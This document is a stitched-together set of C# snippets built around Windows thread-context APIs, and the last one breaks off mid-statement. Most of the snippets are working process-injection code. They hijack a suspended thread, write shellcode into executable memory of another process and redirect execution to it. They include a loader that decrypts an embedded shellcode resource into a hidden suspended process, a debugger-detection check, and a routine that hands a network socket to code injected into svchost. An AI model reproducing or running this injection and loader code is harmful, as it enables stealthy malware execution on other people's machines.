private static bool ThreadContextCheck() { CONTEXT64 ctx = new CONTEXT64(); ctx.ContextFlags = CONTEXT_FLAGS.CONTEXT_DEBUG_REGISTERS; if (GetThreadContext(GetCurrentThread(), ref ctx)) { if (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0) { return(true); } } return(false); }
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
public static int Main2(string[] args) { // Get target process by name if (args.Length == 0) { Console.WriteLine("Please enter a process name"); System.Environment.Exit(1); } Process targetProcess = Process.GetProcessesByName(args[0])[0]; Console.WriteLine("ProcessId: " + targetProcess.Id); // Open and Suspend first thread ProcessThread pT = targetProcess.Threads[0]; for (int i = 0; i < targetProcess.Threads.Count; i++) { if (pT.TotalProcessorTime < targetProcess.Threads[i].TotalProcessorTime) { ; } } Console.WriteLine("ThreadId: " + pT.Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); // Get thread context CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("CurrentEip : {0}", tContext.Rip.ToString("X12")); } // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // Compiled with: // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin //byte[] payload = new byte[112] { // 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 //}; //0x18 //0x28 byte[] payload = { 0x50, //push rax 0x51, //push rcx 0x52, //push rdx 0x53, //push rbx 0x54, 0x55, 0x56, 0x57, 0x41, 0x50, //push r8 0x41, 0x51, //push r9 0x41, 0x52, //push r10 0x41, 0x53, //push r11 0x41, 0x54, //push r12 0x41, 0x55, //push r13 0x41, 0x56, //push r14 0x41, 0x57, //push r15 0x55, //push rbp 0x48, 0x8B, 0xEC, //mob rbp,rsp 0x48, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00, //mov rcx, &lua_buffer 0x48, 0x8B, 0xD1, //mov rdx, rcx 0x4D, 0x31, 0xC0, //xor r8,r8 -- r8 is luaIsTainted 0x49, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00, //mov r15, FrameScript_Execute 0x41, 0xFF, 0xD7, //call r15 0x48, 0x8B, 0xE5, //mov rsp, rbp 0x5D, //pop rbp 0x41, 0x5F, //pop r15 0x41, 0x5E, //pop r14 0x41, 0x5D, //pop r13 0x41, 0x5C, //pop r12 0x41, 0x5B, //pop r11 0x41, 0x5A, //pop r10 0x41, 0x59, //pop r9 0x41, 0x58, //pop r8 0x5F, //pop rdi 0x5E, //pop rsi 0x5D, //pop rbp 0x5C, //pop rsp 0x5B, //pop rbx 0x5A, //pop rdx 0x59, //pop rcx 0x58, //pop rax 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00 //jmp RIP }; // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); string luaScript = "print(\"ferib is awesome\")"; IntPtr allocMemAddress2 = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)(luaScript.Length), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); long luacall = (long)targetProcess.MainModule.BaseAddress + 0x522280; byte[] luacalls = BitConverter.GetBytes(luacall); byte[] luacodes = BitConverter.GetBytes((long)allocMemAddress2); byte[] rips = BitConverter.GetBytes(tContext.Rip); for (int i = 0; i < 8; i++) { payload[0x2E + i] = luacalls[i]; payload[0x1E + i] = luacodes[i]; payload[payload.Length - 0x08 + i] = rips[i]; } // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, payload, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); WriteProcessMemory(procHandle, allocMemAddress2, Encoding.UTF8.GetBytes(luaScript), (uint)(luaScript.Length), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[payload.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if (!SetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("Error setting context"); } if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("ShellcodeAddress: " + allocMemAddress.ToString("X")); Console.WriteLine("NewEip : {0}", tContext.Rip.ToString("X")); } // Resume the thread, redirecting execution to shellcode, then back to original process Console.WriteLine("Redirecting execution!"); ResumeThread(pOpenThread); return(0); }
public void Run(int pid) { Process targetProcess = Process.GetProcessById(pid); // Open and Suspend first thread ProcessThread pT = targetProcess.Threads[0]; Logger.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); // Get thread context CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; if (GetThreadContext(pOpenThread, ref tContext)) { Logger.WriteLine("CurrentEip :" + tContext.Rip); } byte[] payload = new byte[112] { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3 }; // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); Logger.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if (!SetThreadContext(pOpenThread, ref tContext)) { Logger.WriteLine("Error setting context"); } if (GetThreadContext(pOpenThread, ref tContext)) { Logger.WriteLine("ShellcodeAddress: " + allocMemAddress); Logger.WriteLine("NewEip : " + tContext.Rip); } // Resume the thread, redirecting execution to shellcode, then back to original process Logger.WriteLine("Redirecting execution!"); ResumeThread(pOpenThread); }
public static extern bool GetThreadContext(ulong hThread, ref CONTEXT64 lpContext);
static void Detonate() { bool retValue; string binPath = GetValidExecutable(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); const uint CREATE_SUSPENDED = 0x00000004; const uint CREATE_NO_WINDOW = 0x08000000; //MessageBox.Show("binPath: " + binPath); retValue = CreateProcess( binPath, null, ref pSec, ref tSec, false, CREATE_NO_WINDOW | CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo); // You NEED to add as a resource the encyrpted shellcode. // You can do this by going to Project -> Properties -> Resources // Then add a new file, then select the encrypted.bin (you'll need to // ensure that all files are viewable to add, not just text). // The, on the right side in solution explorer, click the encrypted.bin // file and ensure the build action is set to "Embedded Resource". uint rawDataLength = (uint)Runner.Properties.Resources.encrypted.Length; IntPtr hProc = OpenProcess(ProcessAccessFlags.All, false, pInfo.dwProcessId); //MessageBox.Show("Opened process."); IntPtr pRemoteThread = VirtualAllocEx( hProc, IntPtr.Zero, rawDataLength, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite); //MessageBox.Show("Allocated space"); Random rnd = new Random(); int SIZE_MOD = rnd.Next(100, 501); int totalBytesWritten = 0; //MessageBox.Show("Beginning deryption"); // All at once byte[] decBytes = GetAllDecryptedBytes(); IntPtr bytesWritten = IntPtr.Zero; WriteProcessMemory(hProc, pRemoteThread, decBytes, decBytes.Length, out bytesWritten); IntPtr kernel32Addr = LoadLibrary("kernel32.dll"); IntPtr loadLibraryAddr = GetProcAddress(kernel32Addr, "LoadLibraryA"); if (loadLibraryAddr == null) { Console.WriteLine("Couldn't get proc address for kern32 loadlibraryaddr"); Environment.Exit(1); } //MessageBox.Show("Kernel 32 Addr loaded"); uint oldProtect = 0; bool reportected = VirtualProtectEx(hProc, pRemoteThread, rawDataLength, MemoryProtection.ExecuteRead, out oldProtect); if (reportected) { //MessageBox.Show("Was able to reportect"); ThreadStartDelegate funcdelegate = (ThreadStartDelegate)Marshal.GetDelegateForFunctionPointer(loadLibraryAddr, typeof(ThreadStartDelegate)); IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, funcdelegate, IntPtr.Zero, 0x00000004, IntPtr.Zero); if (hThread == null) { Console.WriteLine("Couldn't create remote thread"); Environment.Exit(1); } //MessageBox.Show("Created remote thread"); CONTEXT64 ctx = new CONTEXT64(); ctx.ContextFlags = CONTEXT_FLAGS.CONTEXT_CONTROL; GetThreadContext(hThread, ref ctx); ctx.Rip = (UInt64)pRemoteThread; SetThreadContext(hThread, ref ctx); ResumeThread(hThread); CloseHandle(hThread); //MessageBox.Show("done"); } }
/// <summary> /// Gets the register values of a thread and populates the CONTEXT structs. Should only be used on a suspended thread, results on an active thread are unreliable. /// </summary> /// <returns>Returns an ErcResult, the return value can be ignored, the object should only be checked for error values</returns> public ErcResult <string> Get_Context() { ErcResult <string> result = new ErcResult <string>(ThreadCore); if (X64 == MachineType.x64) { Context64 = new CONTEXT64(); Context64.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; try { bool returnVar = ErcCore.GetThreadContext64(ThreadHandle, ref Context64); if (returnVar == false) { throw new ERCException("Win32 Exception encountered when attempting to get thread context: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } } catch (ERCException e) { result.Error = e; result.LogEvent(); return(result); } catch (Exception e) { result.Error = e; result.LogEvent(e); } } else if (Environment.Is64BitOperatingSystem == true && X64 != MachineType.x64) { Context32 = new CONTEXT32(); Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; try { bool returnVar = ErcCore.Wow64GetThreadContext(ThreadHandle, ref Context32); if (returnVar == false) { throw new ERCException("Win32 Exception encountered when attempting to get thread context: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } } catch (ERCException e) { result.Error = e; result.LogEvent(); return(result); } catch (Exception e) { result.Error = e; result.LogEvent(e); } } else { Context32 = new CONTEXT32(); Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; try { bool returnVar = ErcCore.GetThreadContext32(ThreadHandle, ref Context32); if (returnVar == false) { throw new ERCException("Win32 Exception encountered when attempting to get thread context: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } } catch (ERCException e) { result.Error = e; result.LogEvent(); return(result); } catch (Exception e) { result.Error = e; result.LogEvent(e); } } return(result); }
public static int Main(string[] args) { // Get target process by name if (args.Length == 0) { Console.WriteLine("Please enter a process name"); System.Environment.Exit(1); } Process targetProcess = Process.GetProcessesByName(args[0])[0]; Console.WriteLine("ProcessId: " + targetProcess.Id); // Open and Suspend first thread ProcessThread pT = targetProcess.Threads[0]; Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); // Get thread context CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("CurrentEip : {0}", tContext.Rip); } // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // Compiled with: // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin byte[] payload = new byte[112] { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3 }; // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if (!SetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("Error setting context"); } if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("ShellcodeAddress: " + allocMemAddress); Console.WriteLine("NewEip : {0}", tContext.Rip); } // Resume the thread, redirecting execution to shellcode, then back to original process Console.WriteLine("Redirecting execution!"); ResumeThread(pOpenThread); return(0); }
public static int Inject64(IntPtr hProcess, IntPtr hThread, string dllName) { // Get thread context var tContext = new CONTEXT64 { ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL }; // Get current thread context, from here we can get where we're currently executing code (RIP) if (NativeMethods.GetThreadContext(hThread, ref tContext)) { Console.WriteLine($"CurrentEip : 0x{tContext.Rip:X}"); } // Create an array containing our shellcode var shellCode = new byte[] { // Push all registers to save state 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x9C, // Save rsp and setup stack for function call 0x53, //push rbx 0x48, 0x89, 0xe3, //mov rbx,rsp 0x48, 0x83, 0xec, 0x20, //sub rsp,0x20 0x66, 0x83, 0xe4, 0xc0, //and sp,0xffc0 // Call LoadLibraryA 0x48, 0xb9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rcx,0xCCCCCCCCCCCCCCCC | Pointer to our dll we want to "inject" 0x48, 0xba, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rdx,0xCCCCCCCCCCCCCCCC | Pointer to LoadLibraryA 0xff, 0xd2, //call rdx // Save return value so we can access it 0x48, 0xba, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rdx,0xCCCCCCCCCCCCCCCC | Pointer to where to save the return value 0x48, 0x89, 0x02, //mov QWORD PTR [rdx],rax // Fix stack 0x48, 0x89, 0xdc, //mov rsp,rbx 0x5b, //pop rbx // Pop all registers from the stack 0x9D, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, // Jump back to the where the thread was when we hijacked it 0x48, 0xbb, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rbx,0xCCCCCCCCCCCCCCCC | Pointer to original thread RIP 0xff, 0xe3, //jmp rbx // Return value from LoadLibraryA ends up here 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, }; // Get the name of the dll we want to inject var dllString = Encoding.ASCII.GetBytes(dllName); // Add that dll name to the end of the payload so we can read it from within the payload var payload = new byte[shellCode.Length + dllString.Length]; shellCode.CopyTo(payload, 0); dllString.CopyTo(payload, shellCode.Length); // Allocate memory for shellcode within process var allocMemAddress = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, ((payload.Length + 1) * Marshal.SizeOf(typeof(char))), AllocationType.MEM_COMMIT | AllocationType.MEM_RESERVE, MemoryProtection.PAGE_EXECUTE_READWRITE); var ownProcess = new IntPtr(-1); // Try to get the Kernel32 module for our own process // This works as Windows has this dll based at the same location for all processes // See: http://www.nynaeve.net/?p=198 if (!ProcessExtensions.GetModule(ownProcess, "Kernel32", out var k32)) { throw new Win32Exception(); } // Find where LoadLibraryA is in our process, it will be at the same location in the target process as well var functions = ProcessExtensions.GetExportedFunctions(ownProcess, k32); var loadLibraryPtr = functions.First(x => x.Name == "LoadLibraryA").Address; // Calculate the other variables we need to insert into our shellcode var returnValuePtr = allocMemAddress + 81; var dllStringPtr = allocMemAddress + 89; var returnToPtr = tContext.Rip; // Insert all values we got into the right place in the shellcode, overwriting the existing 0xCC addresses BitConverter.GetBytes(dllStringPtr.ToInt64()).CopyTo(payload, 23); BitConverter.GetBytes(loadLibraryPtr.ToInt64()).CopyTo(payload, 33); BitConverter.GetBytes(returnValuePtr.ToInt64()).CopyTo(payload, 45); BitConverter.GetBytes(returnToPtr).CopyTo(payload, 71); // Write shellcode within process NativeMethods.WriteProcessMemory(hProcess, allocMemAddress, payload, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), out UIntPtr bytesWritten); // Read memory to view shellcode var bytesRead = 0; var buffer = new byte[payload.Length]; NativeMethods.ReadProcessMemory(hProcess, allocMemAddress, buffer, buffer.Length, ref bytesRead); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if (!NativeMethods.SetThreadContext(hThread, ref tContext)) { Console.WriteLine("Error setting context"); } // Get thread context again, just to log it and be sure we modified it correctly // For debugging purposes only, not needed if (NativeMethods.GetThreadContext(hThread, ref tContext)) { Console.WriteLine($"Payload Address : {allocMemAddress:X}"); Console.WriteLine($"NewEip : {tContext.Rip:X}"); } //TODO: Read return value from LoadLibrary Console.WriteLine("TI: Done."); return(0); }
static void Main(string[] args) { bool success; bool isX64 = Environment.Is64BitOperatingSystem; if (!isX64) { Console.WriteLine("32-bit operating systems are not supported yet"); return; } if (isX64 && IntPtr.Size != 8) { Console.WriteLine("Please run in x64 mode"); return; } const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; IntPtr tokenHandle; success = OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES, out tokenHandle); if (!success) { Console.WriteLine("OpenProcessToken() failed - " + Marshal.GetLastWin32Error()); return; } success = SetPrivilege(tokenHandle, "SeDebugPrivilege", true); CloseHandle(tokenHandle); if (!success) { Console.WriteLine("SetPrivilege() failed - " + Marshal.GetLastWin32Error()); return; } const int bufferlen = 4096; UIntPtr buflen = new UIntPtr(bufferlen); int err; ushort wsaVersion = 0x0202; WSAData wsaData; err = WSAStartup(wsaVersion, out wsaData); if (err != 0) { Console.WriteLine("WSAStartup() failed - " + err); return; } IntPtr tcpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (tcpSocket == SOCKET_ERROR) { Console.WriteLine("socket() failed - " + WSAGetLastError()); return; } #if !DEBUG || true int timeout = 10000; setsockopt(tcpSocket, SOL_SOCKET, SO_RCVTIMEO, ref timeout, sizeof(int)); setsockopt(tcpSocket, SOL_SOCKET, SO_SNDTIMEO, ref timeout, sizeof(int)); #endif string targetProcessName; string targetModuleName; if (args.Length > 1) { targetProcessName = args[1]; if (args.Length > 2) { targetModuleName = args[2].ToLower(); } else { targetModuleName = "ws2_32.dll";//null; } } else { targetProcessName = "svchost"; targetModuleName = "pcasvc.dll"; } uint ipAddress; do { if (args.Length > 0) { IPAddress ipAddr; if (IPAddress.TryParse(args[0], out ipAddr)) { byte[] ipBytes = ipAddr.GetAddressBytes(); if (ipBytes.Length == 4) { ipAddress = BitConverter.ToUInt32(ipBytes, 0); break; } } } ipAddress = 0x100007F; //BitConverter.ToUInt32(new byte[] { 127,0,0,1 }, 0) } while (false); sockaddr_in connectionData = new sockaddr_in(); connectionData.sin_family = AF_INET; connectionData.sin_addr = ipAddress; connectionData.sin_port = BitConverter.ToUInt16(new byte[] { 0xD1, 0xCC }, 0); err = connect(tcpSocket, ref connectionData, Marshal.SizeOf(connectionData)); if (err != 0) { Console.WriteLine("connect() failed - " + WSAGetLastError()); //closesocket(udpSocket); //WSACleanup(); return; } uint targetProcessId = 0; #if DEBUG && false targetProcessId = (uint)Process.GetProcessesByName("putty")[0].Id; #else //if (targetModuleName != null) //{ Process[] svchosts = Process.GetProcessesByName(targetProcessName); if (svchosts.Length == 0) { Console.WriteLine("No processes found"); return; } foreach (Process process in svchosts) { bool found = false; try { foreach (ProcessModule module in process.Modules) { if (module.ModuleName.ToLower() == /*"pcasvc.dll"*/ targetModuleName) { targetProcessId = (uint)process.Id; found = true; break; } } } catch { continue; } if (found) { break; } } //} //else //{ // Process[] processes = Process.GetProcessesByName(targetProcessName); // if (processes.Length != 0) // targetProcessId = (uint)processes[0].Id; //} #endif if (targetProcessId == 0) { Console.WriteLine("No suitable process found"); return; } IntPtr processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, false, targetProcessId); if (processHandle == IntPtr.Zero) { Console.WriteLine("OpenProcess() failed - " + Marshal.GetLastWin32Error()); return; } //IntPtr memoryAddress = VirtualAllocEx(processHandle, IntPtr.Zero, buflen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //if (memoryAddress == IntPtr.Zero) //{ // Console.WriteLine("VirtualAllocEx() failed"); // return; //} //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, new UIntPtr(8192), IntPtr.Zero, IntPtr.Zero, CREATE_SUSPENDED, IntPtr.Zero); //if (threadHandle == IntPtr.Zero) //{ // Console.WriteLine("CreateRemoteThread() failed"); // return; //} IntPtr threadHandle; //NtCreateThreadExBuffer ntCreateThreadExBuffer = new NtCreateThreadExBuffer(); //IntPtr temp = Marshal.AllocHGlobal(8); //ntCreateThreadExBuffer.Size = (uint)Marshal.SizeOf(ntCreateThreadExBuffer); //ntCreateThreadExBuffer.Unknown1 = 0x10003; //ntCreateThreadExBuffer.Unknown2 = 8; //ntCreateThreadExBuffer.Unknown3 = temp + 4; //ntCreateThreadExBuffer.Unknown4 = 0; //ntCreateThreadExBuffer.Unknown5 = 0x10004; //ntCreateThreadExBuffer.Unknown6 = 4; //ntCreateThreadExBuffer.Unknown7 = temp; //ntCreateThreadExBuffer.Unknown8 = 0; int ntstatus = NtCreateThreadEx(out threadHandle, THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME, IntPtr.Zero, processHandle, IntPtr.Zero, IntPtr.Zero, true, 0, 8192, 0, /*ref ntCreateThreadExBuffer*/ IntPtr.Zero); if (ntstatus < 0) { Console.WriteLine("NtCreateThreadEx() failed - " + ntstatus); return; } THREAD_BASIC_INFORMATION threadInfo; ntstatus = NtQueryInformationThread(threadHandle, 0, out threadInfo, 8 + IntPtr.Size * 5, IntPtr.Zero); if (ntstatus < 0) { Console.WriteLine("NtQueryInformationThread() failed - " + ntstatus); return; } byte[] buffer = new byte[IntPtr.Size]; success = ReadProcessMemory(processHandle, threadInfo.TebBaseAdress + (IntPtr.Size * 1), buffer, IntPtr.Size, IntPtr.Zero); if (!success) { Console.WriteLine("ReadProcessMemory() failed - " + Marshal.GetLastWin32Error()); return; } IntPtr memoryAddress; if (isX64) { long stackBottom = BitConverter.ToInt64(buffer, 0); memoryAddress = new IntPtr(stackBottom - bufferlen); } else { int stackBottom = BitConverter.ToInt32(buffer, 0); memoryAddress = new IntPtr(stackBottom - bufferlen); } uint oldProtection; success = VirtualProtectEx(processHandle, memoryAddress, /*buflen*/ new UIntPtr(4096), PAGE_EXECUTE_READWRITE, out oldProtection); if (!success) { Console.WriteLine("VirtualProtectEx() failed - " + Marshal.GetLastWin32Error()); return; } WSAPROTOCOL_INFO socketData; err = WSADuplicateSocket(tcpSocket, targetProcessId, out socketData); if (err != 0) { Console.WriteLine("WSADuplicateSocket() failed - " + WSAGetLastError()); return; } IntPtr k32Handle = GetModuleHandle("kernel32.dll"); if (k32Handle == IntPtr.Zero) { Console.WriteLine("GetModuleHandle() failed - " + Marshal.GetLastWin32Error()); return; } int shellcodeBufferSize = bufferlen; IntPtr shellcodeBuffer = Marshal.AllocHGlobal(shellcodeBufferSize); IntPtr getProcAddress = GetProcAddress(k32Handle, "GetProcAddress"); IntPtr getModuleHandleA = GetProcAddress(k32Handle, 